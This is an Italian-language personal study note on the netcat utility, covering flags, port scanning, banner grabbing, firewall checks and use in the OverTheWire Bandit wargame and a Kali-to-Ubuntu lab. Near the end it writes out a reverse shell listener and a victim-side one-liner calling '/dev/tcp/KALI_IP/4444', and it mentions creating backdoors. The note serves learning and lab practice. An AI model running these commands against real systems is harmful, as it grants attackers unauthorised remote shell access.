Cosa fa#
Utility versatile per leggere e scrivere dati attraverso connessioni di rete TCP e UDP. Viene utilizzato per il debugging, il port scanning, il trasferimento di file e la creazione di backdoor (in ambito Red Team) o test di connettività (Blue Team).
Sintassi#
nc [opzioni] [host] [porta]
Comandi essenziali#
| Comando | Flag | Effetto |
|---|---|---|
nc -zv host 1-100 | -z (scan), -v (verbose) | Port scan veloce: verifica quali porte sono aperte senza inviare dati. |
nc -l -p 4444 | -l (listen), -p (port) | Trasforma la macchina in un server che ascolta sulla porta 4444. |
nc host porta | — | Si connette a un servizio remoto (es. un server web o un database). |
nc -u host porta | -u (UDP) | Utilizza il protocollo UDP invece del TCP (default). |
nc -l -k -p 8080 | -k keep | rimane in ascolto dopo che ogni connessione si chiude. |
Analisi Tecnica (Senior Perspective)#
Netcat lavora direttamente con i Raw Sockets. A differenza di un browser (che interpreta l'HTML) o di un client SSH (che gestisce la cifratura), Netcat invia esattamente ciò che digiti e stampa esattamente ciò che riceve.
Il concetto di "Pipe" di Rete#
Netcat eccelle quando combinato con le pipe di Linux. Puoi prendere l'output di un comando e "spararlo" attraverso la rete:
echo "Dati Sensibili" | nc 192.168.1.50 30000
trova le porte "aperte"#
nc -zv ctf.labs.overthewire.org 1-10000 2>&1 | grep -E 'open|succeeded'Visual Flow: Client vs Server#
CLIENT (Tu) SERVER
[ Connessione Outbound ] [ In ascolto / Listening ]
| |
|----------- SYN (Richiesta) --------->|
|<---------- SYN/ACK (Ok!) ------------|
| |
|--- "Ciao, ecco la mia password" ---->|Scenario Reale#
- Banner Grabbing: Un analista SOC usa
nc -v target 80e poi preme Invio per vedere quale versione di Apache o Nginx sta rispondendo. Se la versione è obsoleta, è una vulnerabilità . - Verifica Firewall: Se non riesci a raggiungere un database, usi
nc -zv db-server 5432. Se risponde "Connection refused", il firewall blocca il traffico o il servizio è spento.
Listener per reverse shell#
# Attaccante — metti netcat in ascolto
nc -lvnp 4444
# -l listen
# -v verbose
# -n no DNS resolution
# -p porta
# La vittima si connette con:
# bash -i >& /dev/tcp/KALI_IP/4444 0>&1Vedi reverse-shell per la spiegazione completa del meccanismo.
Dove l'ho usato#
- bandit-14 — Per inviare la password al servizio locale sulla porta 30000.
- Settimana 9 — listener per reverse shell lab (Kali → Ubuntu)
Collegato a#
- network — Categoria principale
- standard-streams — Per l'integrazione con pipe e redirect
- nmap — Per scansioni più avanzate e rumorose
🧠Tip del Senior per Barno#
Attenzione: Netcat invia tutto in chiaro (cleartext). Se lo usi per inviare password su una rete che non controlli (es. una rete Wi-Fi pubblica), chiunque stia facendo sniffing con Wireshark può leggere la tua password.




